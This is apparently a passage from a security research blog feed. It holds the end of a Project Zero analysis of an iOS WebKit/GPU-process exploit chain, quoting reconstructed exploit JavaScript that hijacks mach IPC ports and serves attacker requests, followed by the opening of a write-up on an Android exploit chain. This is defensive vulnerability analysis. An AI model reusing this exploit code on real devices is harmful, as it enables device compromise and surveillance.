<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_MAKE_SEND_ONCE = 21;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_COPY_RECEIVE = 22;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_DISPOSE_RECEIVE = 24;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_DISPOSE_SEND = 25;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_DISPOSE_SEND_ONCE = 26;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_PORT_DESCRIPTOR = 0;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_OOL_DESCRIPTOR = 1;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_OOL_PORTS_DESCRIPTOR = 2;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_OOL_VOLATILE_DESCRIPTOR = 3;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_GUARDED_PORT_DESCRIPTOR = 4;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSGH_BITS_COMPLEX = 0x80000000;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_SEND_MSG = 1;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_RCV_MSG = 2;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_RCV_LARGE = 4;</span></p>
<p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH64_SEND_KOBJECT_CALL = 0x200000000n;</span></p>
<p class="YrefKOOkxY-c11 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p></td></tr></table>
<p class="YrefKOOkxY-c2"><span>The code begins by using a number of symbols passed in from the outer RCE js to find the </span><span class="YrefKOOkxY-c3">HashMap</span><span class="YrefKOOkxY-c5"> storing the mach ports implementing the WebContent to GPU Process IPC:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">//WebKit::GPUProcess::GPUProcess</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var WebKit::GPUProcess::GPUProcess =</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> new Int64("0x0a1a0a1a0a2a0a2a");</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// offset of m_webProcessConnections HashMap in GPUProcess</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var offset_of_m_webProcessConnections =</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> new Int64("0x0a1a0a1a0a2a0a2b"); // 136</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// offset of IPC::Connection m_connection in GPUConnectionToWebProcess</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var offset_of_m_connection_in_GPUConnectionToWebProcess =</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> new Int64("0x0a1a0a1a0a2a0a2c"); // 48</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// offset of m_sendPort</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var offset_of_m_sendPort_in_IPC_Connection = new Int64("0x0a1a0a1a0a2a0a2d"); // 280 </span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// find the m_webProcessConnections HashMap:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var m_webProcessConnections = </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> read64( WebKit::GPUProcess::GPUProcess.add(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> offset_of_m_webProcessConnections)).noPAC();</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>They iterate through all the entries in that </span><span class="YrefKOOkxY-c3">HashMap</span><span class="YrefKOOkxY-c5"> to collect all the mach ports representing all the GPU Process to WebContent IPC connections:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var entries_cnt = read64(m_webProcessConnections.sub(8)).hi().asInt32();</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var GPU_to_WebProcess_send_ports = [];</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for (var he = 0; he < entries_cnt; he++) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var hash_map_key = read64(m_webProcessConnections.add(he * 16));</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (hash_map_key.is0() ||</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hash_map_key.equals(const_int64_minus_1))</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> continue</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var GPUConnectionToWebProcess = </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> read64(m_webProcessConnections.add(he * 16 + 8));</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (GPUConnectionToWebProcess.is0()) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> continue</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var m_connection = </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> read64(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> GPUConnectionToWebProcess.add(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> offset_of_m_connection_in_GPUConnectionToWebProcess));</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var m_sendPort =</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> BigInt(read64(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_connection.add(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> offset_of_m_sendPort_in_IPC_Connection)).lo().asInt32());</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> GPU_to_WebProcess_send_ports.push(m_sendPort)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">They allocate a new mach port then iterate through each of the GPU Process to WebContent connection ports, sending each one a mach message with a port descriptor containing a send right to the newly allocated port:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for (let WebProcess_send_port of GPU_to_WebProcess_send_ports) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> for (let _ = 0; _ < d; _++) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // memset the message to 0</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> for (let e = 0; e < msg.byteLength; e++) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.setUint8(e, 0)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // complex message</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.header.msgh_bits.set(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg, MACH_MSG_TYPE_COPY_SEND | MACH_MSGH_BITS_COMPLEX, 0);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // send to the web process</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.header.msgh_remote_port.set(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg, WebProcess_send_port, 0);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.header.msgh_size.set(msg, hello_msg.__size, 0);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // one descriptor</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.body.msgh_descriptor_count.set(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg, 1, hello_msg.header.__size);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // send a right to the comm port:</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.communication_port.name.set(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg, comm_port_receive_right,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.header.__size + hello_msg.body.__size);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // give other side a send right</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.communication_port.disposition.set(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg, MACH_MSG_TYPE_MAKE_SEND, </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg_buffer.header.__size + hello_msg.body.__size);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.communication_port.type.set(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg, MACH_MSG_PORT_DESCRIPTOR,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hello_msg.header.__size + hello_msg.body.__size);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> msg.setBigUint64(hello_msg.data.offset, BigInt(_), true);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // send the request</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> kr = mach_msg_send(u8array_backing_ptr(msg));</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (kr != KERN_SUCCESS) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> continue</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Note that, apart from having to use </span><span class="YrefKOOkxY-c3">ArrayBuffers</span><span> instead of pointers, this looks almost like it would if it was written in C and executing truly arbitrary native code. But as we've seen, there's a huge amount of complexity hidden behind that simple call to </span><span class="YrefKOOkxY-c3">mach_msg_send</span><span class="YrefKOOkxY-c5">.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The JS then tries to receive a reply to the hello message, and if they do it's assumed that they have found the WebContent process which compromised the GPU process and is waiting for the GPU process exploit to succeed.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">It's at this point that we finally approach the final stages of this writeup.</span></p><h3 class="YrefKOOkxY-c6" id="h.4tbmvpm460a0"><span class="YrefKOOkxY-c10">Last Loops</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Having established a new communications channel with the native code running in the WebContent process the JS enters an infinite loop waiting to service requests:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">function handle_comms_with_compromised_web_process(comm_port) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var kr = KERN_SUCCESS;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let request_msg = alloc_message_from_proto(req_proto);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> while (true) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> for (let e = 0; e < request_msg.byteLength; e++) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> request_msg.setUint8(e, 0)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> req_proto.header.msgh_local_port.set(request_msg, comm_port, 0);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> req_proto.msgh_size.set(request_msg, req_proto.__size, 0);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // get a request</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> kr = mach_msg_receive(u8array_backing_ptr(request_msg));</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (kr != KERN_SUCCESS) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return kr</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let msgh_id = req_proto.header.msgh_id.get(request_msg, 0);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> handle_request_from_web_process(msgh_id, request_msg)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>In the end, this entire journey culminates in the vending of 9 new js-implemented IPCs (</span><span class="YrefKOOkxY-c3">msgh_id</span><span class="YrefKOOkxY-c5"> values 0 through 8.)</span></p><h3 class="YrefKOOkxY-c6" id="h.ik6tls31yzhv"><span class="YrefKOOkxY-c10">IPC 0:</span></h3>
<p class="YrefKOOkxY-c2"><span>Just sends a reply message containing </span><span class="YrefKOOkxY-c0">KERN_SUCCESS</span></p><h3 class="YrefKOOkxY-c6" id="h.d7wvim41xias"><span class="YrefKOOkxY-c10">IPC 1 - 4</span></h3>
<p class="YrefKOOkxY-c2"><span>These interact with the </span><span class="YrefKOOkxY-c3">AppleM2ScalerCSCDriver</span><span class="YrefKOOkxY-c5"> userclient and presumably trigger the kernel bug.</span></p><h3 class="YrefKOOkxY-c6" id="h.6qhhxec67one"><span class="YrefKOOkxY-c10">IPC 5:</span></h3>
<p class="YrefKOOkxY-c2"><span>Wraps </span><span class="YrefKOOkxY-c3">io_service_open_extended</span><span class="YrefKOOkxY-c5">, taking a service name and connection type.</span></p><h3 class="YrefKOOkxY-c6" id="h.sv72nuu2phoh"><span class="YrefKOOkxY-c10">IPC 6:</span></h3>
<p class="YrefKOOkxY-c2"><span>This takes an address and a size and creates a </span><span class="YrefKOOkxY-c3">VM_PROT_READ | VM_PROT_WRITE</span><span> </span><span class="YrefKOOkxY-c3">mach_memory_entry</span><span class="YrefKOOkxY-c5"> covering the requested region which it returns via a port descriptor.</span></p><h3 class="YrefKOOkxY-c6" id="h.r6w02vjfsknx"><span class="YrefKOOkxY-c10">IPC 7:</span></h3>
<p class="YrefKOOkxY-c2"><span>This IPC extracts and returns via a </span><span class="YrefKOOkxY-c3">MOVE_SEND</span><span class="YrefKOOkxY-c5"> disposition the requested mach port name.</span></p><h3 class="YrefKOOkxY-c6" id="h.f69zl37gombn"><span class="YrefKOOkxY-c10">IPC 8:</span></h3>
<p class="YrefKOOkxY-c2"><span>This simply calls the </span><span class="YrefKOOkxY-c3">exit</span><span> syscall, presumably to cleanly terminate the process. If that fails, it causes a </span><span class="YrefKOOkxY-c3">NULL</span><span class="YrefKOOkxY-c5"> pointer dereference to crash the process:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> case request_id_const_8: {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> syscall(1, 0);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> read64(new Int64("0x00000000"));</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> break</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p><h3 class="YrefKOOkxY-c6" id="h.81mpz3x2i1hv"><span class="YrefKOOkxY-c10">Conclusion</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This exploit was undoubtedly complex. Often this complexity is interpreted as a sign that the difficulty of finding and exploiting vulnerabilities is increasing. Yet the buffer overflow vulnerability at the core of this exploit was not complex - it was a well-known, simple anti-pattern in a programming language whose security weaknesses have been studied for decades. I imagine that this vulnerability was relatively easy for the attackers to discover.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The vast majority of the complexity lay in the later post-compromise stages - the glue which connected this IPC vulnerability to the next one in the chain. In my opinion, the reason the attackers invested so much time and effort in this part is that it's reusable. It is a high one-time cost which then hugely decreases the marginal cost of gluing the next IPC bug to the next kernel bug.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Even in a world with NX memory, mandatory code signing, pointer authentication and a myriad of other mitigations, creative attackers are still able to build </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://ieeexplore.ieee.org/document/8226852">weird machines</a></span><span> just as powerful as native code. The age of data-only exploitation is truly here; and yet another mitigation to fix one more trick is unlikely to end that. But what does make a difference is focusing on the fundamentals: early-stage design and code reviews, broad testing and code quality. This vulnerability was introduced less than two years ago — we as an industry, at a </span><span>minimum should</span><span class="YrefKOOkxY-c5"> be aiming to ensure that at least new code is vetted for well-known vulnerabilities like buffer overflows. A low bar which is clearly still not being met.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-61287804793127677932023-09-19T09:01:00.002-07:002023-10-06T05:11:46.898-07:00Analyzing a Modern In-the-wild Android Exploit<p><span face="Arial, sans-serif" style="font-size: 11pt; white-space-collapse: preserve;">By Seth Jenkins, Project Zero</span></p><span id="docs-internal-guid-34b4303d-7fff-4060-18b4-95d049a791aa"><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span face="Arial, sans-serif" style="font-size: 16pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space-collapse: preserve;">Introduction</span></h2><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">In December 2022, Google’s Threat Analysis Group (TAG) discovered an in-the-wild exploit chain targeting Samsung Android devices. TAG’s </span><a href="https://blog.google/threat-analysis-group/spyware-vendors-use-0-days-and-n-days-against-popular-platforms/" style="text-decoration-line: none;"><span face="Arial, sans-serif" style="color: #1155cc; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space-collapse: preserve;">blog post</span></a><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> covers the targeting and the actor behind the campaign. This is a technical analysis of the final stage of one of the exploit chains, specifically CVE-2023-0266 (a 0-day in the ALSA compatibility layer) and CVE-2023-26083 (a 0-day in the Mali GPU driver) as well as the techniques used by the attacker to gain kernel arbitrary read/write access.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">Notably, several of the previous stages of the exploit chain used n-day vulnerabilities:</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><br /><br /></span></p><ul style="margin-bottom: 0px; margin-top: 0px; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="font-family: Arial, sans-serif; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; text-wrap: wrap; vertical-align: baseline;">CVE-2022-4262, a 0-day vulnerability in Chrome was exploited in the Samsung browser to achieve RCE.</span></p></li></ul><ul style="margin-bottom: 0px; margin-top: 0px; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="font-family: Arial, sans-serif; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; text-wrap: wrap; vertical-align: baseline;">CVE-2022-3038, a Chrome n-day that unpatched in the Samsung browser, was used to escape the Samsung browser sandbox. </span></p></li></ul><ul style="margin-bottom: 0px; margin-top: 0px; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="font-family: Arial, sans-serif; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; text-wrap: wrap; vertical-align: baseline;">CVE-2022-22706, a Mali n-day, was used to achieve higher-level userland privileges. While that bug had been patched by Arm in January of 2022, the patch had not been downstreamed into Samsung devices at the point that the exploit chain was discovered.</span><span style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; text-wrap: wrap; vertical-align: baseline;"><br /><br /></span></p></li></ul><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">We now pick up the thread after the attacker has achieved execution as system_server.</span></p><br /><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span face="Arial, sans-serif" style="font-size: 16pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space-collapse: preserve;">Bug #1: Compatibility Layers Have Bugs Too (CVE-2023-0266)</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">The exploit continues with a race condition in the kernel Advanced Linux Sound Architecture (ALSA) driver, </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-0266" style="text-decoration-line: none;"><span face="Arial, sans-serif" style="color: #1155cc; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space-collapse: preserve;">CVE-2023-0266</span></a><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">. 64-bit Android kernels support 32-bit syscall calling conventions in order to maintain compatibility with 32-bit programs and apps. As part of this compatibility layer, the kernel maintains code to translate 32-bit system calls into a format understandable by the rest of the 64-bit kernel code. In many cases, the code backing this compatibility layer simply wraps the 64-bit system calls with no extra logic, but in some cases important behaviors are re-implemented in the compatibility layer’s code. Such duplication increases the potential for bugs, as the compatibility layer can be forgotten while making consequential changes. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">In 2017, there was a </span><a href="https://github.com/torvalds/linux/commit/becf9e5d553c" style="text-decoration-line: none;"><span face="Arial, sans-serif" style="color: #1155cc; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space-collapse: preserve;">refactoring in the ALSA driver</span></a><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: 